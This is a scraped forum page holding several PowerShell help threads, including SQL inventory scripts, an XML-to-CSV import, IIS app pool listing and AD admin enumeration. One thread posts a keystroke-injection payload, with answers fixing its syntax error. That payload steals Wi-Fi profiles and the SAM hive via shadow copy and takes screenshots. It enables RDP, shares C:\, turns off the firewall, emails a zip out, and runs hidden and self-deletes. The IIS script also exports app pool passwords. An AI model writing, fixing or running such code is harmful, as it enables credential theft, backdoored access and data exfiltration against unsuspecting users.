Method invocation failed op_addition - powershell

in this script i am pulling info from my SQL servers. i create the psobject and then i attempt to += each object into the $results table so that i can get a complete final report.
for some reason if i run the script all the way through it gives me the error
Method invocation failed because [system.management.managementobject] does not contain a method named 'op_Addition'
But if i run the script line by line I do not get the error.
$Results = #()
$servers = get-content .\computers.txt
ForEach ($server in $servers) {
# Ping the machine to see if it's on the network
$results = Get-WMIObject -query "select StatusCode from
Win32_PingStatus where Address = '$server'"
$responds = $false
ForEach ($result in $results) {
# If the machine responds break out of the result loop and indicate success
if ($result.statuscode -eq 0) {
$responds = $true
break
}
}
If ($responds) {
# Gather info from the server because it responds
Write-Output "$server responds"
} else {
# Let the user know we couldn't connect to the server
Write-Output "$server does not respond"
}
# Check to see if a directory exists for this machine, if not create one
if (!(Test-Path -path .\$server)) {
New-Item .\$server\ -type directory
}
#get-WMI-Information
function getwmiinfo ($srv) {
# Get ComputerSystem info and write it to a CSV file
gwmi -query "select * from
Win32_ComputerSystem" -computername $srv | select Name,
Model, Manufacturer, Description, DNSHostName,
Domain, DomainRole, PartOfDomain, NumberOfProcessors,
SystemType, TotalPhysicalMemory, UserName,
Workgroup | export-csv -path .\$srv\BOX_ComputerSystem.csv -noType
# Get OperatingSystem info and write it to a CSV file
gwmi -query "select * from
Win32_OperatingSystem" -computername $srv | select Name,
Version, FreePhysicalMemory, OSLanguage, OSProductSuite,
OSType, ServicePackMajorVersion, ServicePackMinorVersion |
export-csv -path .\$server\BOX_OperatingSystem.csv -noType
# Get PhysicalMemory info and write it to a CSV file
gwmi -query "select * from
Win32_PhysicalMemory" -computername $srv | select Name,
Capacity, DeviceLocator, Tag |
export-csv -path .\$srv\BOX_PhysicalMemory.csv -noType
# Get LogicalDisk info and write it to a CSV file
gwmi -query "select * from Win32_LogicalDisk
where DriveType=3" -computername $srv | select Name, FreeSpace,
Size | export-csv -path .\$srv\BOX_LogicalDisk.csv -noType
}
# Get the server info
getwmiinfo $server
#Get-SQLInfo
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | Out-Null
# Create an ADO.Net connection to the instance
$cn = new-object system.data.SqlClient.SqlConnection(
"Data Source=$server;Integrated Security=SSPI;Initial Catalog=master");
# Create an SMO connection to the instance
$s = new-object ('Microsoft.SqlServer.Management.Smo.Server') $server
# Set the CSV output file name and pipe the instances Information collection to it
$outnm = ".\" + $server + "\" + $instnm + "GEN_Information.csv"
$s.Information | export-csv -path $outnm -noType
# Set ShowAdvancedOptions ON for the query
$s.Configuration.ShowAdvancedOptions.ConfigValue = 1
$s.Configuration.Alter()
# Create a DataSet for our configuration information
$ds = new-object "System.Data.DataSet" "dsConfigData"
# Build our query to get configuration, session and lock info, and execute it
$q = "exec sp_configure;
"
$q = $q + "exec sp_who;
"
$q = $q + "exec sp_lock;
"
$da = new-object "System.Data.SqlClient.SqlDataAdapter" ($q, $cn)
$da.Fill($ds)
# Build datatables for the config data, load them from the query results, and write them to CSV files
$dtConfig = new-object "System.Data.DataTable" "dtConfigData"
$dtWho = new-object "System.Data.DataTable" "dtWhoData"
$dtLock = new-object "System.Data.DataTable" "dtLockData"
$dtConfig = $ds.Tables[0]
$dtWho = $ds.Tables[1]
$dtLock = $ds.Tables[2]
$outnm = ".\" + $server + "\" + $instnm + "GEN_Configure.csv"
$dtConfig | select name, minimum, maximum, config_value, run_value | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "GEN_Who.csv"
$dtWho | select spid, ecid, status, loginame, hostname, blk, dbname, cmd, request_id | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "GEN_Lock.csv"
$dtLock | select spid, dbid, ObjId, IndId, Type,Resource, Mode, Status | export-csv -path $outnm -noType
# Set ShowAdvancedOptions OFF now that we're done with Config
$s.Configuration.ShowAdvancedOptions.ConfigValue = 0
$s.Configuration.Alter()
# Write the login name and default database for Logins to a CSV file
$outnm = ".\" + $server + "\" + $instnm + "GEN_Logins.csv"
$s.Logins | select Name, DefaultDatabase | export-csv -path $outnm -noType
# Write information about the databases to a CSV file
$outnm = ".\" + $server + "\" + $instnm + "GEN_Databases.csv"
$dbs = $s.Databases
$dbs | select Name, Collation, CompatibilityLevel, AutoShrink,
RecoveryModel, Size, SpaceAvailable | export-csv -path $outnm -noType
foreach ($db in $dbs) {
# Write the information about the physical files used by the database to CSV files for each database
$dbname = $db.Name
if ($db.IsSystemObject) {
$dbtype = "_SDB"
} else {
$dbtype = "_UDB"
}
# Write the user information to a CSV file
$users = $db.Users
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_Users.csv"
$users | select $dbname, Name, Login, LoginType, UserType, CreateDate |
export-csv -path $outnm -noType
$fgs = $db.FileGroups
foreach ($fg in $fgs) {
$files = $fg.Files
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_DataFiles.csv"
$files | select $db.Name, Name, FileName, Size,
UsedSpace | export-csv -path $outnm -noType
}
$logs = $db.LogFiles
$outnm = ".\" + $server + "\" + $instnm + $dbname + "_LogFiles.csv"
$logs | select $db.Name, Name, FileName, Size, UsedSpace |
export-csv -path $outnm -noType
}
# Create CSV files for each ErrorLog file
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_.csv"
$s.ReadErrorLog() | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_1.csv"
$s.ReadErrorLog(1) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_2.csv"
$s.ReadErrorLog(2) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_3.csv"
$s.ReadErrorLog(3) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_4.csv"
$s.ReadErrorLog(4) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_5.csv"
$s.ReadErrorLog(5) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "_ERL_ErrorLog_6.csv"
$s.ReadErrorLog(6) | export-csv -path $outnm -noType
$outnm = ".\" + $server + "\" + $instnm + "Gen_Information.csv"
$Gen_Information = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Gen_Databases.csv"
$Gen_Databases = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Box_ComputerSystem.csv"
$Box_ComputerSystem = Import-Csv $outnm
$outnm = ".\" + $server + "\" + $instnm + "Box_OperatingSystem.csv"
$Box_OperatingSystem = Import-Csv $outnm
$Gen_Info = $Gen_Information[0]
$Gen_DBs = ForEach($object in $Gen_Databases){$object.Name}
$Box_OS = $Box_OperatingSystem[0]
$Box_CS = $Box_ComputerSystem[0]
$Box_OSOS = $box_os.Name.Split("|")
#region Correct SQL Version Name
#correct Version Name
if($Gen_Info.VersionString -like "8.*.*.*")
{
$Gen_InfoVers = "SQL Server 2000"
}
elseif($Gen_Info.VersionString -like "12.*.*.*")
{
$Gen_InfoVers = "SQL Server 2014"
}
elseif($Gen_Info.VersionString -like "10.*.*.*" -and $Gen_info.VersionString -notlike "10.5*.*.*")
{
$Gen_InfoVers = "SQL Server 2008"
}
elseif($Gen_Info.VersionString -like "9.*.*.*")
{
$Gen_InfoVers = "SQL Server 2005"
}
elseif($Gen_Info.VersionString -like "10.5*.*.*")
{
$Gen_InfoVers = "SQL Server 2008r2"
}
elseif($Gen_Info.VersionString -like "11.*.*.*")
{
$Gen_InfoVers = "SQL Server 2012"
}
elseif($Gen_Info.VersionString -like "13.*.*.*")
{
$Gen_InfoVers = "SQL Server 2016"
}
else{$Gen_InfoVers = "Unknown Version"}
#endregion
$object = New-Object psobject -Property #{
Server = $Box_CS.Name
OS = $box_osos[0]
Edition = $Gen_Info.EngineEdition
SQLVersion = $Gen_InfoVers.ToString()
TotalDBs = $Gen_DBs.count
DatabaseName1 = $Gen_DBs[0]
DatabaseName2 = $Gen_DBs[1]
DatabaseName3 = $Gen_DBs[2]
DatabaseName4 = $Gen_DBs[3]
DatabaseName5 = $Gen_DBs[4]
DatabaseName6 = $Gen_DBs[5]
DatabaseName7 = $Gen_DBs[6]
DatabaseName8 = $Gen_DBs[7]
DatabaseName9 = $Gen_DBs[8]
DatabaseName10 = $Gen_DBs[9]
DatabaseName11 = $Gen_DBs[10]
DatabaseName12 = $Gen_DBs[11]
DatabaseName13 = $Gen_DBs[12]
DatabaseName14 = $Gen_DBs[13]
DatabaseName15 = $Gen_DBs[14]
DatabaseName16 = $Gen_DBs[15]
DatabaseName17 = $Gen_DBs[16]
DatabaseName18 = $Gen_DBs[17]
DatabaseName19 = $Gen_DBs[18]
DatabaseName20 = $Gen_DBs[19]
DatabaseName21 = $Gen_DBs[20]
DatabaseName22 = $Gen_DBs[21]
DatabaseName23 = $Gen_DBs[22]
DatabaseName24 = $Gen_DBs[23]
DatabaseName25 = $Gen_DBs[24]
DatabaseName26 = $Gen_DBs[25]
}
$object = $object | select Server,OS,SQLVersion,Edition,TotalDBs,DatabaseName1,DatabaseName2,DatabaseName3,DatabaseName4,DatabaseName5,DatabaseName6,DatabaseName7,DatabaseName8,DatabaseName9,DatabaseName10,DatabaseName11,DatabaseName12,DatabaseName13,DatabaseName14,DatabaseName15,
DatabaseName16,DatabaseName17,DatabaseName18,DatabaseName19,DatabaseName20,DatabaseName21,DatabaseName22,DatabaseName23,DatabaseName24,DatabaseName25,DatabaseName26
$object | Export-Csv ".\$server\FinalReport.csv" -NoTypeInformation -Force
$Results += $object
}
$Results | Export-Csv ".\Final\FinalReport.csv" -NoTypeInformation -Force

#alroc has a valid point, that's a lot of code. You can try typing $Result as an [array].
change
$Results += $object
to
[array]$Results += $object

Your error happens here
$Results += $object
You are using the same variable name for holding different data. The first time you are gathering the results from a WMI query.
$results = Get-WMIObject -query "select StatusCode from Win32_PingStatus where Address = '$server'"
Then you add it again when you get the error. Arrays do support addition but $results is not an array when the error is generated.
You have some other issues but mainly change the variable name to address this problem.

Related

Add verification data in to my powershell script

I have a PowerShell script that generates a CSV from XML files and than imports that CSV into an SQL database.
I want to add a verification cycle to check if the content that the script is adding to the CSV file already exists in it.
Here is my code:
$fi = Get-Content "dados.txt"
$nx = $fi[0] #caminho para os xmls
$lc = $fi[1] #caminho para onde vai o csv
$nc = $fi[2] #Nome do csv
$ToProcess = Get-ChildItem -Path $nx -Filter '*.xml' -Recurse #vai buscar todos os ficheiros xml dentro da diretoria com recursividade
$DataExec = Get-Date -Format "dd/MM/yyyy"
$horaExec = Get-Date -Format "HH:mm"
$CF = "$lc\" + $nc + ".csv"
$CsvFilePath = "$lc\"
$csvDelimiter = ";"
Install-Module SqlServer
$serverName = "..."
$databaseName = "FATURAS"
$tableSchema = "dbo"
$tableName = $nc
$username = "sa"
$password = "..."
$secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd
$CsvFiles = $ToProcess.Name -replace('.xml','.csv') | ForEach-Object {"$CsvFilePath$_"}
ForEach ($File in $ToProcess){
[Xml]$Xml = Get-Content -Path $File.FullName
$Xml.message.invoice | Select-Object -Property #(
#{Name='File_Path';Expression={($File).DirectoryName + '\'}}
#{Name='FileName';Expression={$File.Name -split('.xml')}},
#{Name='Fornecedor'; Expression={$_.seller.id.'#text'}},
#{Name='commercialRegistrationNumber'; Expression={$Xml.message.invoice.seller.commercialRegistrationNumber}},
#{Name='documentNumber'; Expression={$Xml.message.invoice.documentNumber}},
#{Name='documentDate';Expression={$_.documentDate}},
#{Name='CreationDate';Expression={$Xml.message.creationDateTime}},
#{Name='DocType'; Expression={$Xml.message.invoice}},
#{Name='Data_Exec';Expression={$DataExec}},
#{Name='Hora_Exec';Expression={$horaExec}},
#{Name='BARCODE'; Expression={$Xml.message.invoice.reference.InnerText}},
#{Name='Description'; Expression={$Xml.message.invoice.lineItem.description}},
#{Name='Total'; Expression={$Xml.message.invoice.totalPayableAmount}}
) | Export-Csv -Path "$CsvFilePath$($File.BaseName).csv" -NoTypeInformation -Encoding Unicode
}
Import-Csv -LiteralPath $CsvFiles | Export-Csv -Path $CF -NoTypeInformation -Delimiter $csvDelimiter -Encoding UTF8
foreach($File in $CsvFiles){
Remove-Item -Path $File
}
Import-Csv -Path $CF -Delimiter $csvDelimiter | Write-SqlTableData -ServerInstance $serverName -DatabaseName $databaseName -SchemaName $tableSchema -TableName $tableName -Credential $creds -Force
Here is the file that im using to get the path's:
C:\scripts\xml para csv - sql\doc_xml\
C:\scripts\xml para csv - sql\final_teste
What i did was just download the table 1 into a csv and compare it with the one i have generate and then the different values i just insert them into the table 1
Clear-Host
Install-Module SqlServer
$fi = Get-Content "C:\scripts\xml_para_csv_sql\dados.txt"
$nx = $fi[0] #caminho para os xmls
$lc = $fi[1] #caminho para onde vai o csv
$nc = $fi[2] #Nome do csv
$sn = $fi[3] #Nome da tabela Sql
$ToProcess = Get-ChildItem -Path $nx -Filter '*.xml' -Recurse #vai buscar todos os ficheiros xml dentro da diretoria com recursividade
$DataExec = Get-Date -Format "dd/MM/yyyy"
$horaExec = Get-Date -Format "HH:mm"
$SqlFile = "$lc\$($sn)_SQL.csv"
$CF = "$lc\" + $nc + ".csv"
$CsvFilePath = "$lc\"
$csvDelimiter = ";"
if((Test-Path $CF) -eq $true){
Remove-Item $CF
}
do{
if (!(Test-Path $SqlFile)){$SqlFile = "$lc\$($sn)_SQL.csv"}
else{$SqlFile = "$lc\$($sn)_SQL" + "$($i)" + ".csv"}
$i = $i + 1
}until(!(Test-Path $SqlFile))
$serverName = "..."
$databaseName = "FATURAS"
$tableSchema = "dbo"
$tableName = $sn
$username = "sa"
$password = "..."
$secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd
$CsvFiles = $ToProcess.Name -replace('.xml','.csv') | ForEach-Object {"$CsvFilePath$_"}
ForEach ($File in $ToProcess){
[Xml]$Xml = Get-Content -Path $File.FullName
$Xml.message.invoice | Select-Object -Property #(
#{Name='File_Path';Expression={($File).DirectoryName + '\'}}
#{Name='FileName';Expression={$File.Name -split('.xml')}},
#{Name='Fornecedor'; Expression={$Xml.message.invoice.seller.vatNumber}},
#{Name='documentNumber'; Expression={$Xml.message.invoice.documentNumber}},
#{Name='documentDate';Expression={$_.documentDate}},
#{Name='CreationDate';Expression={$Xml.message.creationDateTime}},
#{Name='DocType'; Expression={$Xml.message.invoice}},
#{Name='Data_Exec';Expression={$DataExec}},
#{Name='Hora_Exec';Expression={$horaExec}},
#{Name='BARCODE'; Expression={$Xml.message.invoice.reference.InnerText}},
#{Name='Description'; Expression={$Xml.message.invoice.lineItem.description}},
#{Name='Total'; Expression={$Xml.message.invoice.totalPayableAmount}}
) | Export-Csv -Path "$CsvFilePath$($File.BaseName).csv" -NoTypeInformation -Encoding Unicode
}
if(!(Test-Path $CF)){
Import-Csv -LiteralPath $CsvFiles | Export-Csv -Path $CF -NoTypeInformation -Delimiter $csvDelimiter -Encoding UTF8
}else{
Write-Host "Os dados já existem!"
}
$data = Get-Content $CF -Encoding UTF8
$Return = $SQL = $dataTable = $null
$sql = "SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '$sn'"
$dataTable = Invoke-Sqlcmd –ServerInstance $serverName -Credential $creds –Database $databaseName –Query $sql
if ($dataTable) {$return = $true}
else {$return = $false}
if($Return -eq $true){
$checksql = Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "Select* from $sn"
$checksql | Export-Csv $SqlFile -Delimiter ';' -Encoding UTF8 -NoTypeInformation
$compare = Compare-Object -ReferenceObject ($data | Select-Object -Skip 1 | Sort-Object ) -DifferenceObject (Get-Content $SqlFile | Select-Object -Skip 1 | Sort-Object) -IncludeEqual
$CsvLines = $compare | Where-Object {$_.SideIndicator -eq '<='}
if($CsvLines -eq $null){
Write-Warning "Não foi encontrado nenhuma linha no ficheiro $CF que a tabela $sn não tivesse"
foreach($File in $CsvFiles){
if((Test-Path $File) -eq $true){
Remove-Item -Path $File
}
}
}
$CsvLinesToSql = $CsvLines.InputObject | ForEach-Object {$_.replace('";"',"','")} | ForEach-Object{$_.replace('"','')} | ForEach-Object{("'$_'")}
foreach($line in $CsvLinesToSql){
$FileName = $line.Substring(0, $line.IndexOf(','))
$FileName = $line.Replace("$FileName,",'')
$FileName = $FileName.Substring(0, $FileName.IndexOf(','))
Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "IF EXISTS (SELECT * FROM $sn WHERE FileName = $FileName)
delete from $sn WHERE FileName = $FileName
Insert Into dbo.$($sn) (File_Path, FileName, Fornecedor, documentNumber, documentDate, CreationDate, DocType, Data_Exec, Hora_Exec, BARCODE, Description, Total) VALUES ($line)
IF NOT EXISTS (SELECT * FROM $sn WHERE FileName = $FileName)
Insert Into dbo.$($sn) (File_Path, FileName, Fornecedor, documentNumber, documentDate, CreationDate, DocType, Data_Exec, Hora_Exec, BARCODE, Description, Total) VALUES ($line)"
}
Remove-Item $SqlFile
}
if($Return -eq $false){
Import-Csv -Path $CF -Delimiter ';' -Encoding UTF8 | Write-SqlTableData -ServerInstance $serverName -DatabaseName $databaseName -SchemaName $tableSchema -TableName $tableName -Credential $creds -Force
}
Invoke-Sqlcmd -ServerInstance $serverName -Database $databaseName -Credential $creds -Query "DELETE FROM $sn where FileName is null"
foreach($File in $CsvFiles){
if((Test-Path $File) -eq $true){
Remove-Item -Path $File
}
}```

Running powershell script through a list of servers

I have a powershell script that outputs iis app pools running on a server along with the dotnet version, username and password running the account. How can i get this working for a list of servers where i can point it to a list of 100 servers on a text file..say servers.txt. Below is the code..
try{
Import-Module WebAdministration
$webapps = Get-WebApplication
$list = #()
foreach ($webapp in get-childitem IIS:\AppPools\)
{
$name = "IIS:\AppPools\" + $webapp.name
$item = #{}
$item.WebAppName = $webapp.name
$item.Version = (Get-ItemProperty $name managedRuntimeVersion).Value
$item.State = (Get-WebAppPoolState -Name $webapp.name).Value
$item.UserIdentityType = $webapp.processModel.identityType
$item.Username = $webapp.processModel.userName
$item.Password = $webapp.processModel.password
$obj = New-Object PSObject -Property $item
$list += $obj
}
$list | Format-Table -a -Property "WebAppName", "Version", "State", "UserIdentityType", "Username", "Password" | out-file MyDCs.csv
}catch
{
$ExceptionMessage = "Error in Line: " + $_.Exception.Line + ". " + $_.Exception.GetType().FullName + ": " + $_.Exception.Message + " Stacktrace: " + $_.Exception.StackTrace
$ExceptionMessage
}

Powershell "You must provide a value expression following the '-ne' operator" error

I'm having a problem with some code in powershell, I keep getting this error:
At line:1 char:7
+ $x++ } while ($x -ne );
+ ~
Unexpected token '}' in expression or statement.
At line:1 char:22
+ $x++ } while ($x -ne );
+ ~
You must provide a value expression following the '-ne' operator.
At line:1 char:24
+ $x++ } while ($x -ne );
+ ~
Missing statement body in while loop.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
Does anybody know how to fix it?
The target system is windows 10.
I think the problem lies in this part "$x++ } while ($x -ne );" but I'm not sure.
Here's the code (sorry that i pasted so much code, but I wasn't sure if some of the other things were a part of the error):
Windowsbutton+r
powershell Start-Process notepad -Verb runAs
Enter
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
$fileSaveDir = New-Item ($userDir) -ItemType Directory
$date = get-date
$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
$Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
$wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory
$srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'
Copy-Item $srcDir $wlanSaveDir -Recurse
$SysBootTime = Get-WmiObject Win32_OperatingSystem
$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME)
$SerialNo = $SysSerialNo.SerialNumber
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model
$SysManufacturer = $SysInfo.Manufacturer
$SysModel = $SysInfo.Model
$OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername
$env:COMPUTERNAME | Select TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name
$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber
$HardSerialNo = $HardSerial.SerialNumber
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name
$graphicsCard = gwmi win32_VideoController |select Name
$graphics = $graphicsCard.Name
$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1
$DriveLetter = $CDDrive.Drive
$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '\' + $DriveName
$Firewall = New-Object -com HNetCfg.FwMgr
$FireProfile = $Firewall.LocalPolicy.CurrentProfile
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"
$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired
$UserType = $UserInfo.AccountType
$UserSid = $UserInfo.SID
$UserPass = $UserInfo.PasswordRequired
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
$Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>"
$Report = $Report + '</div>'
$createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
$addSlash = $shadow.DeviceObject + '\'
cmd /c mklink C:\shadowcopy $addSlash
Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
Remove-Item -recurse -force 'C:\shadowcopy'
$Report = $Report + '<div id=center><h3> Installed Updates</h3>'
$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy)
$Report = $Report + '</div>'
$Report = $Report + '<div id=center><h3> Installed Programs</h3> '
$Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate)
$Report = $Report + '</table></div>'
$u = 0
$allUsb = #(get-wmiobject win32_volume | select Name, Label, FreeSpace)
$Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
do {
$gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
$Report = $Report + "<tr><td>Drive Name: </td><td> " + $allUsb[$u].Name + $allUsb[$u].Label + "</td><td>Free Space: </td><td>" + $gbUSB + "GB</td></tr>"
Write-Output $fullUSB
$u ++
} while ($u -lt $allUsb.Count)
$Report = $Report + '</table></div>'
$jpegSaveDir = New-Item $fileSaveDir'\Screenshots' -ItemType Directory
$x = 0
do { Start-Sleep -Seconds 60
$jpegName = (get-date).ToString('HHmmss')
$File = "$jpegSaveDir\$jpegName.bmp"
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save($File)
$x++ } while ($x -ne );
$Report = $Report + '<div id=center><h3>Network Information</h3>'
$Report = $Report + (Get-WmiObject Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select Description,DNSHostname, #{Name='IP Address ';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
$Report = $Report + '</table></div>'
$Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
$Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
$Report = $Report + '</div>'
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes
netsh advfirewall firewall set rule group='remote desktop' new enable=Yes
$Share = [WmiClass]'Win32_Share'
$Share.Create('C:\', 'netShare', 0)
netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
netsh advfirewall set allprofiles state off
$Report >> $fileSaveDir'/ComputerInfo.html'
function copy-ToZip($fileSaveDir){
$srcdir = $fileSaveDir
$zipFile = 'C:\Windows\Report.zip'
if(-not (test-path($zipFile))) {
set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
(dir $zipFile).IsReadOnly = $false}
$shellApplication = new-object -com shell.application
$zipPackage = $shellApplication.NameSpace($zipFile)
$files = Get-ChildItem -Path $srcdir
foreach($file in $files) {
$zipPackage.CopyHere($file.FullName)
while($zipPackage.Items().Item($file.name) -eq $null){
Start-sleep -seconds 1 }}}
copy-ToZip($fileSaveDir)
try {
$Sender = 'sender#gmail.com'
$Recipient = 'Recipient#email.com'
$pass = ConvertTo-SecureString 'Password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($sender.Split("#")[0], $pass)
Send-MailMessage -From $Sender -To $Recipient -Subject "DuckToolkit Report" -Body "Please find attached the DuckToolkit reconnaissance report." -SmtpServer "smtp.gamil.com" -UseSSL -credential $creds -Attachments "C:\Windows\Report.zip"}
catch {
break }
remove-item $fileSaveDir -recurse
remove-item 'C:\Windows\Report.zip'
Remove-Item $MyINvocation.InvocationName `
Ctrl+s
C:\Windows\config-85023.ps1
Enter
Windowsbutton+r
powershell Start-Process cmd -Verb runAs
Enter
powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
Enter
powershell.exe -windowstyle hidden -File C:\Windows\config-85023.ps1
Enter
while ($x -ne );
you have to match $X with something, you aren't doing that right now.
If you want to compare it with nothing, try ""
As the other answer, you have to match -ne. As you are trying to match to $null, a more powershell way of writing it would be to :
while (!$x);

PowerShell - List all computers & which users are administrators

I am trying to create a powershell script that:
Finds all computers in the domain
Queries each computer to determine what groups/users are in the Administrators group
Lists each user/group/computer
The columns should be: Username, GroupName, ComputerName, DomainName
Here's where I am at so far, but I'm looking for some help parsing the WMI results in a consistent fashion, or per
Here's the script so far:
$auditdir = "c:\temp\"
$tempfile = $auditdir + "computers.csv"
$computers = (Get-ADComputer -Filter *)
$Table = #()
$Record = #{
"MachineName" = ""
"GroupName" = ""
"DomainName" = ""
"Username" = ""
}
Foreach ($computername in $computers){
$computername = $computername.name
$ADMINS = get-wmiobject -computername $computername -query "select * from win32_groupuser where GroupComponent=""Win32_Group.Domain='$computername',Name='administrators'""" | % {$_.partcomponent}
foreach ($ADMIN in $ADMINS){
Write-Host "Output current admin"
$admin
Write-Host "Clean up current admin"
$admin = ($admin | Out-String)
